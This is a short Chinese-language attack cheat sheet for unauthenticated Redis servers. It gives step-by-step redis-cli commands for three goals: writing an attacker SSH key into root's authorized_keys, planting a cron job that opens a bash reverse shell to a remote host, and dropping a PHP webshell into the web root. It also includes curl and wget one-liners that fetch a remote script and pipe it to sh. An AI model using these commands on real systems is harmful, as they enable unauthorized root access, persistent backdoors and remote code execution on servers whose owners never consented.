redis 未授权访问（写公钥、写计划任务）

相关阅读

【实战】redis未授权实现ssh登录

2023年4月13日 08:15

117811

公钥

(redis以root用户登录，且开启了ssh服务 允许使用密匙登录)

ssh-keygen -t rsa # 生成key
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > /tmp/key.txt # 前后加换行
cat /tmp/key.txt | redis-cli -h xx.xx.xx.xx -x set xxx # 连接redis设定键
redis-cli -h xx.xx.xx.xx config set dir /root/.ssh/ # 设置本地数据库存放目录
redis-cli -h xx.xx.xx.xx config set dbfilename authorized_keys # 设置本地数据库文件名
redis-cli -h xx.xx.xx.xx save # 报存

计划任务执行命令

计划任务执行命令nc反弹shell

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xx.xx.xx.xx/6677 0>&1\n\n"|redis-cli -h 59.xx.xx.157 -x set xx #设定值
redis-cli -h xx.xx.xx.xx config set dir /var/spool/cron/ # 设置本地数据库存放目录
redis-cli -h xx.xx.xx.xx config set dbfilename root # 设置本地数据库文件名
redis-cli -h xx.xx.xx.xx save # 报存
# tips： 可以编制好自己sh脚本，直接请求执行就完事了
curl -fsSL http://1.2.3.4/xxx.sh |sh
wget -q -O- http://1.2.3.4/xxx.sh |sh

web物理路径写webshell

(redis权限不高，开着web服务，有写入权限，且知道网站绝对路径)

127.0.0.1:6379> config set dir /var/www/html/
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set x "<?php phpinfo();?>"
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>